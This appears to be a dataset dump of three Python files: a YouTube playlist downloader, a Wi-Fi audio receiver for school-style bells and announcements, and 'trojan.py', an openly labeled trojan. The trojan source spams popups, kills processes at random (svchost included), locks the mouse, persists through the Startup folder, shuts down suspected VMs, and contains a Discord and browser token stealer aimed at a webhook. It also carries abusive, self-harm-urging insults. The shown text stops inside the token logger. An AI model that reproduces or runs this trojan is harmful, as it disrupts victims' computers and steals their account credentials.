source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
Cold_Downloader.py | import tkinter
from tkinter import *
from tkinter.ttk import *
from PIL import Image, ImageTk
from threading import Thread
from pytube import YouTube, Playlist
import tkinter.filedialog
import subprocess
import os
from urllib import request, error
import io
from tkinter import messagebox
# variable to set the program's thumbnail
def image(smp):
image_miniature = tkinter.PhotoImage(file="red.png")
image_miniature = image_miniature.subsample(smp, smp)
return image_miniature
# verification anti-spam and principal function calling
def download():
global actived
lblState.configure(text="", foreground = "black")
if actived == False:
actived = True
start_dowloading()
else:
pass
#Trys to get the playlist
def start_dowloading():
global actived
try:
if Playlist(url=link_input.get()).video_urls != []:
Thread(target=playlist_download, args=(Playlist(url=link_input.get()),)).start()
else:
actived = False
lblState.configure(text="Please enter a correct link", foreground = "red")
except KeyError:
actived = False
lblState.configure(text='Please enter a correct link', foreground = "red")
#After the verification of the existence of the playlist, download starting
def playlist_download(p):
global actived
lblState.configure(text="")
#asking the path wanted by the user for downloading the playlist
path = tkinter.filedialog.askdirectory()
#customization of the path with the playlist title
path+="/"+p.title+"/"
#window adjustement for download videos
dl_btn.configure(state="disabled")
mp3_checkbox.configure(state="disabled")
link_input.configure(state="disabled")
root.minsize(height=240, width=480)
root.maxsize(height=240, width=480)
k=1
#verification if the file path already exist, and adjusting it if necessary
if os.path.isdir(path):
continue_searching = True
while continue_searching == True:
if os.path.isdir(path):
path2 = path.rsplit(p.title,1)[0]+p.title+" ("+str(k)+")"
path = path2
k+=1
else:
continue_searching = False
i=0
#calling the function that will download the videos of the playlist one by one
for url in p.video_urls:
i+=1
yt = YouTube(url)
#registering of functions which will serve to display the progression of the downloading
yt.register_on_progress_callback(progress)
yt.register_on_complete_callback(complete)
try:
video_download(yt, path, i)
except Exception as e:
lblState.configure(text=e)
video_download(yt, path, i)
#adjustement of the window once the playlist is downloaded
label_percent.configure(text="Downloaded")
messagebox.showinfo("info", "playlist downloaded")
dl_btn.configure(state="normal")
mp3_checkbox.configure(state="normal")
link_input.configure(state="normal")
root.minsize(height=62, width=480)
root.maxsize(height=62, width=480)
lblState.configure(text="")
link_input.delete(0, END)
actived = False
#function that download the videos
def video_download(yt, path, i):
try:
#setting design of the video downoading
lblState.configure(text="Downloading "+yt.title)
image_label.configure(image = set_thumbnail(yt.thumbnail_url))
bar.configure(value=0)
bar.place(x=70, y=200)
label_percent.configure(text="Getting Video...")
title = set_title(yt.title)
#verifying if the user checked the "Audio only" checkbox and downloading the video in function
if is_mp3.get():
path = yt.streams.filter(only_audio=True, file_extension="mp4").first().download(output_path=path, filename=title, filename_prefix=str(i)+"_")
else:
yt.streams.filter(file_extension="mp4").get_highest_resolution().download(output_path=path, filename=title)
except (error.HTTPError, KeyError):
lblState.configure(text="Failed to get video. Retrying...")
video_download(yt,path,i)
# function that will display to the user the downloading progression
def progress(stream, chunk, bytes_remaining):
current = ((stream.filesize - bytes_remaining) / stream.filesize)
progress = int(50 * current)
pourcent = str(progress * 2)
bar["value"] = pourcent
texte = str(pourcent) + " %"
label_percent.configure(text=texte)
#function which displays that the video is downloaded and convert it if necessary
def complete(stream, file_path):
label_percent.configure(text="Downloading...")
if is_mp3.get():
Thread(target=convert, args=(file_path,)).start()
#function to make the video title readable by the explorer.
def set_title(s):
s=s.replace(" ","_")
s=s.replace(":","")
s=s.replace("/","")
s=s.replace("\\","")
s=s.replace("|","")
s=s.replace("?","")
s=s.replace("*","")
s=s.replace("<","")
s=s.replace(">","")
s=s.replace('"', "")
return s
#conversion of the file which need to be
def convert(path):
if os.path.isfile(path):
out_path = path.rsplit(".", 1)
out_path = out_path[0]+".wav"
si = subprocess.STARTUPINFO()
si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
subprocess.run(["ffmpeg", "-y","-i", path, out_path], stderr=subprocess.STDOUT, startupinfo=si)
os.remove(path)
#function called to display the video thumbnail to the user
def set_thumbnail(url):
raw_data = ""
try:
raw_data = request.urlopen(url).read()
except:
try:
raw_data = request.urlopen(url).read()
except error.HTTPError:
set_thumbnail(url)
im = Image.open(io.BytesIO(raw_data))
im = im.resize((231, 130), Image.ANTIALIAS)
imagesagrandmere = ImageTk.PhotoImage(im)
image_label.configure(image=imagesagrandmere)
image_label.image = imagesagrandmere
#settings of the window
global actived
actived = False
root = tkinter.Tk()
root.minsize(height=62, width=480)
root.maxsize(height=62, width=480)
link_input = tkinter.Entry(root, disabledbackground="#E3E3E3", disabledforeground="grey", insertwidth=1, width=40)
link_input.place(x=70, y=25)
label_higher = tkinter.Label(root, text="Paste down there the link of the playlist ↓")
label_higher.place(x=80)
is_mp3 = tkinter.BooleanVar(root)
mp3_checkbox = tkinter.Checkbutton(root, text="Audio Only", variable=is_mp3)
mp3_checkbox.place(x=390, y=23)
dl_btn = tkinter.Button(root, text="Download", bd=0, relief="groove", compound=tkinter.CENTER, fg="black",
activeforeground="pink")
img = image(6)
dl_btn.config(image=img, command=download)
dl_btn.place(x=325, y=22)
alert_label = Label(root, foreground="red", background="#f0f0f0", text="test")
alert_label.place_forget()
s = Style()
s.theme_use('default')
s.configure("TProgressbar", foreground='red', background='red', thickness=5)
bar = Progressbar(root, orient=HORIZONTAL, length=230, style="TProgressbar", mode="determinate")
bar.place_forget()
label_percent = Label(background="#f0f0f0", text="")
label_percent.place(x=300, y=195)
lblState = tkinter.Label(text="")
lblState.place(x=67, y=45)
root.wm_iconbitmap('images.ico')
root.wm_title("Cold Downloader")
image_label = Label(background="#f0f0f0")
image_label.place(x=67, y=65)
root.mainloop()
|
receiver.py | import os
import sys
import time
import tkinter as tk
import threading
import socket
import pyaudio
from tkinter import Button, PhotoImage, ttk
import selectors
from threading import Thread
import struct
from PIL import ImageTk, Image
LARGE_FONT= ("Verdana", 12)
logo_png = os.path.dirname(os.path.realpath(__file__))+'\\assets\\logo-select.ico'
class MainWindow(object):
def __init__(self, master):
super(MainWindow, self).__init__()
self.master = master
self.master.geometry('477x253')
self.master.iconbitmap(r'{}'.format(logo_png))
container = tk.Frame(self.master)
container.pack(side="top", fill="both", expand = True)
container.grid_rowconfigure(0, weight=1)
container.grid_columnconfigure(0, weight=1)
self.frames = {}
for F in (StandbyPage, SettingPage, ConnectPage, HomePage):
frame = F(container, self)
self.frames[F] = frame
frame.grid(row=0, column=0, sticky="nsew")
self.show_frame(HomePage)
def show_frame(self, cont):
frame = self.frames[cont]
frame.tkraise()
class HomePage(tk.Frame):
def __init__(self, parent, controller):
tk.Frame.__init__(self,parent)
self.controller = controller
self.configure(background='gold')
self.frame = tk.Frame(self, width=477 , height=253)
self.frame.configure(background='gold')
self.frame.place(x=0, y=0)
label = tk.Label(self.frame, text="Go to Setting to \ninitialize connection.", fg='maroon',
bg='gold', font=('broadway', 15, 'bold'))
label_2 = tk.Label(self.frame, text="Status: Disconnected", fg='maroon',
bg='gold', font=('broadway', 12, 'bold'))
label_3 = tk.Label(self.frame, text="WiFi Receiver Interface", fg='maroon',
bg='gold', font=('broadway', 15, 'bold'))
b1 = tk.Button(self, text="Settings", command=lambda: self.controller.show_frame(SettingPage), fg='black', bg="white",
relief='solid',
font=('arial', 10, 'bold'), width='6',
height='1')
b2 = tk.Button(self.frame, text="Exit", command=self.exit_, fg='black', bg="white",
relief='solid',
font=('arial', 10, 'bold'), width='6',
height='1')
label.place(relx=0.25, rely=0.60, anchor='w')
label_2.place(relx=0.28, rely=0.40, anchor='w')
label_3.place(relx=0.5, rely=0.05, anchor='n')
b1.place(x=0, y=0)
b2.place(relx=0.94, rely=0 , anchor='n')
path1 = os.path.dirname(os.path.realpath(__file__))+'\\assets\\wifi_.gif'
path2 = os.path.dirname(os.path.realpath(__file__))+'\\assets\\logo-final.png'
load_img = Image.open(path1)
load_img2 = Image.open(path2)
wd = 70
ht = 70
wd1 = 70
ht1 = 70
img_res2 = load_img2.resize((wd,ht), Image.ANTIALIAS)
img_res1 = load_img.resize((wd1, ht1), Image.ANTIALIAS)
get_img = ImageTk.PhotoImage(img_res1)
img_logo = tk.Label(self.frame, image=get_img, bg="gold")
get_img2 = ImageTk.PhotoImage(img_res2)
img_logo2 = tk.Label(self.frame, image=get_img2, bg="gold")
img_logo.image = get_img
img_logo.place(relx=0.75, rely=0.3, anchor="w")
img_logo2.image = get_img2
img_logo2.place(relx=0.06, rely=0.3, anchor="w")
def exit_(self):
self.destroy()
sys.exit()
class StandbyPage(tk.Frame):
def __init__(self, parent, controller):
tk.Frame.__init__(self,parent)
self.controller = controller
self.parent = parent
self.configure(background='gold')
self.frame = tk.Frame(self, width=477 , height=253)
self.frame.place(x=0,y=0)
self.frame.configure(background='gold')
label = tk.Label(self.frame, text="", textvariable=change_text, fg='maroon',
bg='gold', width=20, font=('broadway', 25, 'bold'))
label_2 = tk.Label(self.frame, text="Status: Connected", fg='maroon',
bg='gold',textvariable=change_text_1, font=('broadway', 12, 'bold'))
b1 = tk.Button(self.frame, text="Exit", command=self.exit_, fg='black', bg="white",
relief='solid',
font=('arial', 10, 'bold'), width='6',
height='1')
self.b2 = tk.Button(self.frame, text="Off", command=self.toggle_button, fg='black', bg="white",
relief='raised',
font=('arial', 10, 'bold'), width='12',
height='2')
label.pack(side="top", fill="both", expand=True)
label.place(x=5, y=95)
label_2.place(relx=0.33, rely=0.3, anchor='w')
b1.place(relx=0.94, rely=0 , anchor='n')
self.b2.place(relx=0.5, rely=0.75 , anchor='n')
text = "Connection is \nEstablished!"
change_text.set(text)
change_text_1.set('Status: Server Offline')
def initialize_onn(self):
self.ip = ip_addr.get()
self.port = port_addr.get()
self.port = self.port+1
self.server = Server_Operation( self.ip, self.port)
self.server._is_on1()
self.server.create_server()
def initialize_off(self):
self.server._is_of1()
self.server.create_server()
def toggle_button(self):
if self.b2.config('relief')[-1] == 'sunken':
self.b2.config(relief="raised")
self.b2['text'] ='Off'
self.initialize_off()
change_text_1.set('Status: Disconnected')
else:
self.b2.config(relief="sunken")
self.b2['text'] ='On'
self.initialize_onn()
#change_text_1.set('Status: Connecting...')
def exit_(self):
self.destroy()
self.parent.destroy()
sys.exit()
def change_live(self):
change_text.set("Live Announcement")
def change_emergency(self):
change_text.set("Emergency Alarm")
def change_hourlybell(self):
change_text.set("Hourly Bell")
def change_standby(self):
change_text.set("Standby Mode")
class SettingPage(tk.Frame):
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller= controller
self.configure(background='gold')
self.frame = tk.Frame(self, width=477 , height=253)
self.frame.place(x=0,y=0)
self.frame.configure(background='gold')
label = tk.Label(self.frame, text="Settings", fg='maroon',
bg='gold', width=10, font=('broadway', 15, 'bold'))
l1 = tk.Label(self.frame, text='IP Address:', bg='gold',
font=('arial', 15, 'bold'))
l2 = tk.Label(self.frame, text='Port:', bg='gold',
font=('arial', 15, 'bold'))
l3 = tk.Label(self.frame, text='', bg='gold',
font=('arial', 10, 'bold'), textvariable=bind_0)
l4 = tk.Label(self.frame, text='', bg='gold',
font=('arial', 8, 'bold'), textvariable=ip_0)
l5 = tk.Label(self.frame, text='', bg='gold',
font=('arial', 8, 'bold'), textvariable=port_0)
e1 = tk.Entry(self.frame, textvariable=ip_addr,width=20,relief= 'solid') #state=read
b1 = tk.Button(self, text="Back", command=lambda: controller.show_frame(HomePage), fg='black', bg="white",
relief='solid',
font=('arial', 10, 'bold'), width='6',
height='1')
b2 = tk.Button(self, text="Confirm", command=self.confirm_on, fg='black', bg="white",
relief='solid',
font=('arial', 10, 'bold'), width='6',
height='1')
num_list = []
for i in range (56000, 59999):
num_list.append(str(i))
if len(num_list)>0 :
self.combo = ttk.Combobox(self.frame, width=15,values=num_list, height=7)
self.combo.place(relx=0.5, rely=0.5, anchor='w')
self.combo.current(0)
self.combo.bind("<<ComboboxSelected>>", self.on_select)
label.place(relx=0.5, rely=0.05, anchor='c')
l1.place(relx=0.25, rely=0.3, anchor='w')
l2.place(relx=0.25, rely=0.5, anchor='w')
l3.place(relx=0.25, rely=0.75, anchor='w')
l4.place(relx=0.28, rely=0.83, anchor='w')
l5.place(relx=0.28, rely=0.90, anchor='w')
e1.place(relx=0.5, rely=0.3, anchor='w')
b1.place(x=0, y=0)
b2.place(relx=0.5, rely=0.65, anchor='w')
name = socket.gethostname()
address = socket.gethostbyname(name)
#ip_addr.set(address)
def confirm_on(self):
text1 = ip_addr.get()
int1 = port_addr.get()
text1 = 'IP: '+text1
text2 = 'Port: '+str(int1)
bind_0.set("Binding at:")
ip_0.set(text1)
port_0.set(text2)
self._job_2 = self.frame.after(5000, self.go_to_connect)
def go_to_connect(self):
if self._job_2 is not None:
self.frame.after_cancel(self._job_2)
self._job_2 = None
self.controller.show_frame(ConnectPage)
def on_select(self, event=None):
x = event.widget.get()
number = int(x)
port_addr.set(number)
class ConnectPage(tk.Frame):
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(background = 'gold')
self.frame = tk.Frame(self, width=447, height=253)
self.frame.place(x=0,y=0)
self.frame.configure(background = 'gold')
photo = PhotoImage(file = "button_.gif")
self.b1 = Button(self.frame, text = 'Tap to connect', image = photo, bg='gold',
command=self.connect_btn,border=0,activebackground='gold',compound='top')
self.b1.image = photo
self.b1.place(relx=0.5, rely=0.5, anchor='c')
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.not_yet_connect = True
def connect_btn(self):
#w =self.controller.show_frame(StandbyPage)
self.b1['state'] ='disabled'
self.b1['image'] = None
self.text_connect_('.')
t1 = threading.Thread(target=self.binding_, daemon=True)
t1.start()
def binding_(self):
#ip = 'localhost'
#port = int(12345)
ip = ip_addr.get()
port = port_addr.get()
addr = (ip, port)
self.socket.bind(addr)
print("Listening to: ",addr)
self.socket.listen(5)
conn, addr = self.socket.accept()
if conn:
print("Connected!", addr)
self.not_yet_connect = False
self.socket.close()
def text_connect_(self, s):
txt = "Connecting"+s
print(txt)
if len(txt)<20:
self.b1['text'] = txt
self._job_1 = self.frame.after(1000, self.text_connect_, s+' .')
else:
if self._job_1 is not None:
self.frame.after_cancel(self._job_1)
self._job_1 = None
if self.not_yet_connect:
self.text_connect_('.')
else:
self.controller.show_frame(StandbyPage)
sel = selectors.DefaultSelector()
class Server_Operation(object):
def __init__(self, host, port):
super(Server_Operation, self).__init__()
self.host = host
self.port = port
self.on_data = False
self.is_on = False
def create_server(self):
if self.is_on:
self.lsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.lsock.setblocking(False)
self.lsock.bind((self.host, self.port))
self.lsock.listen(5)
print('listening on', (self.host, self.port))
change_text_1.set('Status: Server Connecting...')
sel.register(self.lsock, selectors.EVENT_READ, data=self.accept_connection)
thread_run = Thread(target=self.run_program, daemon=True)
thread_run.start()
#thread_run.join()
else:
return
def _is_on1(self):
self.is_on = True
def _is_of1(self):
self.is_on = False
if self.lsock:
sel.unregister(self.lsock)
def accept_connection(self,sock, mask):
conn, self.addr = sock.accept() # Should be ready to read
print(f"Connection established from: {self.addr}")
change_text_1.set('Status: Server Connected')
change_text.set("Standby Mode")
conn.setblocking(False)
select_events = selectors.EVENT_READ | selectors.EVENT_WRITE
sel.register(conn, select_events, data=self.service_connection)
def service_connection(self, key, mask):
sock = key
if mask & selectors.EVENT_READ:
self.read_handler(sock)
#if mask & selectors.EVENT_WRITE:
#self.write_handler(sock)
def run_program(self):
while True:
if not self.is_on:
break
try:
events = sel.select(timeout=None)
for key, mask in events:
callback = key.data
callback(key.fileobj,mask)
except WindowsError as e:
break
def read_handler(self, sock):
try:
recv_data = sock.recv(1024)
if len(recv_data) > 0:
self.on_data =True
except Exception as e:
sel.unregister(sock)
sock.close()
self.on_data =False
if self.on_data:
data_len = len(recv_data)
if data_len == 27:
try:
un_pack = struct.unpack(">i19si" ,recv_data)
data_1 = un_pack[0]
data_1 = int(data_1)
data_2 = un_pack[2]
data_2 = int(data_2)
data_3 = un_pack[1].decode()
if data_1 == 4020 and data_2 == 202304 and data_3[9:17] == "020opera":
print("Connected at 2")
change_text.set("Emergency Bell")
w2 = Server_wave(self.host, self.port)
sel.unregister(sock)
sock.close()
except Exception as e:
print(f"the message is wrong 2: {e}")
sel.unregister(sock)
sock.close()
elif data_len == 19:
try:
un_pack = struct.unpack(">ii11s" ,recv_data)
data_1 = un_pack[0]
data_1 = int(data_1)
data_2 = un_pack[1]
data_2 = int(data_2)
data_3 = un_pack[2].decode()
if data_1 == 32 and data_2 == 2319 and data_3[4:9]=="rithm":
print('Connected at 1')
#print(ip_port)
#ip_add = ip_port[0]
#port_add = ip_port[1]
change_text.set("Live Announcement")
w1 = Speaker_Live(self.host, self.port)
sel.unregister(sock)
sock.close()
except Exception as e:
print(f"the message is wrong: {e}")
sel.unregister(sock)
sock.close()
elif data_len == 37:
try:
un_pack = struct.unpack(">29sii" ,recv_data)
data_1 = un_pack[0].decode()
data_2 = un_pack[1]
data_2 = int(data_2)
data_3 = un_pack[2]
data_3 = int(data_3)
if data_1[5:22] == '20apBjok0q3k2oCo3' and data_2 == 10390 and data_3 == 209340:
print('Connected at 3')
#print(ip_port)
#ip_add = ip_port[0]
#port_add = ip_port[1]
change_text.set("Hourly Bell")
s3 = Server_hourbell(self.host, self.port)
sel.unregister(sock)
sock.close()
except Exception as e:
print(f"the message is wrong: {e}")
sel.unregister(sock)
sock.close()
class Speaker_Live(object):
def __init__(self,ip , port):
super(Speaker_Live, self).__init__()
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 44100
chunks =1024
self.format = FORMAT
self.rate = RATE
self.channels = CHANNELS
self.chunks = chunks
self.frames = []
self.stopp = False
print("Speaker is ready to live!")
self.ip = ip
if port is not None:
self.port = int(port)+1
self.address = (self.ip, self.port)
print("Live at : {}".format(self.address))
self.initialize_speaker()
def initialize_speaker(self):
self.Audio = pyaudio.PyAudio()
stream = self.Audio.open(format=self.format,
channels=self.channels,
rate=self.rate,
output=True,
frames_per_buffer=self.chunks,
)
self.udpThread = threading.Thread(target=self.udpStream, daemon=True)
self.AudioThread = threading.Thread(target=self.play, args=(stream,), daemon=True)
self.udpThread.start()
self.AudioThread.start()
self.udpThread.join()
self.AudioThread.join()
def udpStream(self):
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
udp.bind(self.address)
except Exception as e:
print("error: {}".format(e))
udp.settimeout(7)
while True:
try:
soundData ,addr = udp.recvfrom(self.chunks*self.channels*2)
self.frames.append(soundData)
if soundData !=b'':
#print("data")
pass
else:
print('no data')
except Exception as e:
print("error9: {}".format(e))
self.stopp = True
break
print("closing connection")
udp.close()
def play(self,stream):
BUFFER = 10
print('Streaming now!')
while True:
if self.stopp:
break
if len(self.frames) == BUFFER:
while True:
try:
stream.write(self.frames.pop(0), self.chunks)
except:
break
print("stop streaming")
stream.stop_stream()
stream.close()
self.Audio.terminate()
change_text.set("Standby Mode")
class Server_wave(object):
def __init__(self, ip, port):
super(Server_wave, self).__init__()
self.frames = []
self.chunks = 1024
self.ip = ip
# if port is not None:
# self.port = int(port)
self.port = port+1
self.port_1 = port+2
self.address = (self.ip, self.port)
self.address_1 = (self.ip, self.port_1)
self.done = False
self.next_ = False
self.Audio = pyaudio.PyAudio()
self.start_wave()
def start_wave(self):
self.sock = socket.socket()
print("binding")
self.sock.bind(self.address)
self.recv_msg()
def recv_msg(self):
self.sock.settimeout(3)
print("Listening at {}".format(self.address))
try:
self.sock.listen(5)
except:
self.next_ = False
else: self.next_ = True
if self.next_:
try:
conn1, addr = self.sock.accept()
data = conn1.recv(12)
print("receiving ")
if data:
addr1 = conn1.getpeername()
print(f"Connected to : {addr1}")
print("closing socket1")
conn1.close()
self.sock.close()
self.running_data(data)
except Exception as e:
print(e)
def running_data(self, data):
if data:
data = struct.unpack(">iii", data)
print(f"Pyaudio format: {data[0]}")
print(f"Pyaudio sample rate: {data[1]}")
print(f"Pyaudio channel: {data[2]}")
data_1 = data[0]
data_2 = data[1]
data_3 = data[2]
self.chn = data_3
if data_1 and data_2 and data_3:
self.stream = self.Audio.open(format=data_1,
channels=data_3,
rate=data_2,
output=True)
udpThread = Thread(target=self.udpStream, daemon=True)
AudioThread = Thread(target=self.play, daemon=True)
print("starting all")
udpThread.start()
AudioThread.start()
udpThread.join()
AudioThread.join()
else:
print("Invalid Data! ")
def udpStream(self):
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp.bind(self.address_1)
print("done binding udp")
print("binding @: ", self.address_1)
while True:
try:
udp.settimeout(5)
soundData, addr = udp.recvfrom(self.chunks * self.chn * 2)
if soundData is not b"":
self.frames.append(soundData)
else:
print("not the data")
except Exception as e:
print("error: " + str(e))
self.done = True
break
print("closing socket2")
udp.close()
def play(self):
while True:
if len(self.frames) == 0 and self.done:
time.sleep(5)
self.stream.stop_stream()
if self.stream.is_stopped():
break
if len(self.frames) > 0:
while True:
try:
self.stream.write(self.frames.pop(0))
except:
break
print("closing streaming")
self.stream.close()
self.Audio.terminate()
change_text.set("Standby Mode")
class Server_hourbell(object):
def __init__(self, ip, port):
super(Server_hourbell, self).__init__()
self.frames = []
self.chunks = 1024
self.ip = ip
# if port is not None:
# self.port = int(port)
self.port = port+1
self.port_1 = port+2
self.address = (self.ip, self.port)
self.address_1 = (self.ip, self.port_1)
self.done = False
self.Audio = pyaudio.PyAudio()
self.start_wave()
self.next_ = False
def start_wave(self):
self.sock = socket.socket()
print("binding")
self.sock.bind(self.address)
self.recv_msg()
def recv_msg(self):
self.sock.settimeout(3)
print("Listening at {}".format(self.address))
try:
self.sock.listen(5)
except:
self.next_ = False
else: self.next_ = True
if self.next_:
try:
conn1, addr = self.sock.accept()
data = conn1.recv(12)
print("receiving ")
if data:
addr1 = conn1.getpeername()
print(f"Connected to : {addr1}")
print("closing socket1")
conn1.close()
self.sock.close()
self.running_data(data)
except Exception as e:
print(e)
def running_data(self, data):
if data:
data = struct.unpack(">iii", data)
print(f"Pyaudio format: {data[0]}")
print(f"Pyaudio sample rate: {data[1]}")
print(f"Pyaudio channel: {data[2]}")
data_1 = data[0]
data_2 = data[1]
data_3 = data[2]
self.chn = data_3
if data_1 and data_2 and data_3:
self.stream = self.Audio.open(format=data_1,
channels=data_3,
rate=data_2,
output=True)
udpThread = Thread(target=self.udpStream, daemon=True)
AudioThread = Thread(target=self.play, daemon=True)
print("starting all")
udpThread.start()
AudioThread.start()
udpThread.join()
AudioThread.join()
else:
print("Invalid Data! ")
def udpStream(self):
udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp.bind(self.address_1)
print("done binding udp")
print("binding @: ", self.address_1)
while True:
try:
udp.settimeout(5)
soundData, addr = udp.recvfrom(self.chunks * self.chn * 2)
if soundData is not b"":
self.frames.append(soundData)
else:
print("not the data")
except Exception as e:
print("error: " + str(e))
self.done = True
break
print("closing socket2")
udp.close()
def play(self):
while True:
if len(self.frames) == 0 and self.done:
time.sleep(5)
self.stream.stop_stream()
if self.stream.is_stopped():
break
if len(self.frames) > 0:
while True:
try:
self.stream.write(self.frames.pop(0))
except:
break
print("closing streaming")
self.stream.close()
self.Audio.terminate()
change_text.set("Standby Mode")
if __name__ == "__main__":
root = tk.Tk()
ip_addr = tk.StringVar(root)
port_addr = tk.IntVar(root)
bind_0 = tk.StringVar(root)
ip_0 = tk.StringVar(root)
port_0 = tk.StringVar(root)
change_text = tk.StringVar(root)
change_text_1 = tk.StringVar(root)
root.title('Wi-Fi Receiver')
app = MainWindow(root)
root.mainloop()
|
trojan.py | import base64
import ctypes
import json
import multiprocessing
import os
import random
import re
import shutil
import sys
import threading
import time
import webbrowser
from urllib import request
import mouse
import psutil
import requests
import win32api
from playsound import playsound
# Disable/Enable featrues here
popups = False
open_links = False
change_wallpaper = False
lock_mouse = False
random_kill = False
kill_main = False
create_folder = False
sounds = False
startup = False
anti_kill = False
change_resolution = True
# Token logger settings
token_log = False
WEBHOOK_URL = "PUT WEBHOOK HERE"
PING_ME = False
# Change what pops up on screen
pop_up_text = ["LOL UR SO DUMB", "FUCKING IDIOT", "JUST RATTED YOU", "DUMBASS"]
# Change what links open up
links = ["google.com", "youtube.com"]
# Change whats being killed (recommend kill explorer)
kill_list = ["explorer.exe", "wallpaper64.exe", "wallpaper32.exe", "chrome.exe"]
# Change what are the random folders names
file_names = [
f"LOL UR RETARDED {random.randint(0, 10000)}",
f"LOL I RATTED YOU {random.randint(0, 10000)}",
f"UR SO GAY {random.randint(0, 10000)}",
f"YOU KNOW DN? {random.randint(0, 10000)}",
f"UR SO DUMB LOOOOL {random.randint(0, 10000)}",
f"HANG URSELF {random.randint(0, 10000)}",
f"Why did you run this?, lol. {random.randint(0, 10000)}",
f"Add NotSqvage#6666 tell him hes gay {random.randint(0, 10000)}",
f"If you see this you have to send money {random.randint(0, 10000)}",
]
class harmless:
"""Harmless modules"""
def __init__(self, pop_up_text, links):
self.pop_up_text = pop_up_text
self.links = links
def pop_up(self):
"""Spams popups"""
while 1:
ctypes.windll.user32.MessageBoxW(
0, random.choice(pop_up_text), "LOL", random.randint(1, 5)
)
time.sleep(random.randint(1, 5))
def open_url(self):
"""Opens urls from list randomly"""
while 1:
webbrowser.open_new_tab(random.choice(links))
time.sleep(random.randint(1, 10))
def change_wallpaper(self):
"""Changes the wallpaper with random images from screenshot folder"""
while 1:
try:
pic = random.choice(
os.listdir(f"{os.path.expanduser('~')}/Pictures/Screenshots")
)
path = f"{os.path.expanduser('~')}/Pictures/Screenshots/{pic}"
ctypes.windll.user32.SystemParametersInfoW(20, 0, path, 3)
time.sleep(random.randint(0, 3))
except Exception:
pass
def mouse_lock(self):
"""Locks the mouse to prevent the program from being killed"""
while 1:
mouse.drag(0, 0, 0, 0, absolute=True, duration=0)
def sound(self):
"""Plays sound from given path [BROKEN] WILL FIX LATER"""
while 1:
try:
sound_ = random.choice(os.listdir("C:/Windows/Media/Windows/)"))
playsound(sound_)
except Exception:
pass
class malware:
"""Malware modules"""
def __init__(self, file_names, kill_list):
self.file_names = file_names
self.kill_list = kill_list
def kill(self):
"""Kills select tasks"""
while 1:
for program in kill_list:
os.system(f"taskkill /f /im {program}")
time.sleep(30)
def random_kill(self):
"""KILLS RANDOM PROCESSES"""
while 1:
processes = []
try:
for proc in psutil.process_iter():
try:
processes.append(proc.name())
except (
psutil.NoSuchProcess,
psutil.AccessDenied,
psutil.ZombieProcess,
):
pass
except Exception:
pass
finally:
program = random.choice(processes)
if program != "svchost.exe":
os.system(f"taskkill /f /im {program}")
time.sleep(random.randint(5, 15))
def isAdmin():
"""CHECK IS RAN AS ADMIN"""
try:
is_admin = os.getuid() == 0
except AttributeError:
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
return is_admin
if isAdmin():
if random.randint(0, 25) == 1:
os.system("taskkill /f /im svchost.exe")
time.sleep(random.randint(1, 20))
def create_random_folder(self):
"""Creates random files with a base64 name"""
while 1:
for i in range(random.randint(1, 10)):
try:
byte_stream = random.choice(file_names).encode("ascii")
base64_bytes = base64.b64encode(byte_stream)
base64_string = base64_bytes.decode("ascii")
path = f"{os.path.expanduser('~')}/Desktop/{''.join(base64_string)}"
os.mkdir(path)
except Exception:
pass
time.sleep(random.randint(1, 25))
class harmful:
"""Harmful modules"""
class ScreenRes(object):
"""Changes the screen res [CLEAN UP LATER]"""
@classmethod
def set(cls, width=None, height=None, depth=32):
"""Set the primary display to the specified mode"""
if sys.platform == "win32":
cls._win32_set(width, height, depth)
@staticmethod
def _win32_set(width=None, height=None, depth=32):
"""Set the primary windows display to the specified mode"""
# Gave up on ctypes, the struct is really complicated
# user32.ChangeDisplaySettingsW(None, 0)
if width and height:
if not depth:
depth = 32
mode = win32api.EnumDisplaySettings()
mode.PelsWidth = width
mode.PelsHeight = height
mode.BitsPerPel = depth
win32api.ChangeDisplaySettings(mode, 0)
else:
win32api.ChangeDisplaySettings(None, 0)
harmless = harmless(pop_up_text, links)
malware = malware(file_names, kill_list)
harmful = harmful()
class process_events:
"""Multithreaded stuff"""
def anti_kill():
"""detects when a process has been killed"""
while 1:
if os.path.basename(sys.argv[0]) not in (
p.name() for p in psutil.process_iter()
):
pass
if __name__ == "__main__":
"""VM CHECK"""
if hasattr(sys, "real_prefix"):
os.system("shutdown /s")
while 1:
os.system("start")
ctypes.windll.user32.MessageBoxW(0, "WHY USE VM???", "NICE VM", 1)
else:
if startup == True:
shutil.copy(
f"{os.getcwd()}/{os.path.basename(sys.argv[0])}",
os.path.expanduser("~")
+ "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup",
)
ctypes.windll.user32.MessageBoxW(
0, "YOUR PC HAS BEEN GRIEFED BY A PC FUCKER", "LOL UR SO DUMB", 1
)
# Clean later
if token_log == True:
def find_tokens(path):
try:
path += "\\Local Storage\\leveldb"
tokens = []
for file_name in os.listdir(path):
if not file_name.endswith(".log") and not file_name.endswith(
".ldb"
):
continue
for line in [
x.strip()
for x in open(
f"{path}\\{file_name}", errors="ignore"
).readlines()
if x.strip()
]:
for regex in (
r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}",
r"mfa\.[\w-]{84}",
):
for token in re.findall(regex, line):
tokens.append(token)
return tokens
except Exception:
pass
def logger():
local = os.getenv("LOCALAPPDATA")
roaming = os.getenv("APPDATA")
paths = {
"Discord": f"{roaming}\\Discord",
"Discord Canary": f"{roaming}\\discordcanary",
"Discord PTB": f"{roaming}\\discordptb",
"Google Chrome": f"{local}\\Google\\Chrome\\User Data\\Default",
"Opera": f"{roaming}\\Opera Software\\Opera Stable",
"Brave": f"{local}\\BraveSoftware\\Brave-Browser\\User Data\\Default",
"Yandex": f"{local}\\Yandex\\YandexBrowser\\User Data\\Default",
}
message = "@everyone" if PING_ME else ""
for platform, path in paths.items():
if not os.path.exists(path):
continue
message += f"\n**{platform}**\n```\n"
tokens = find_tokens(path)
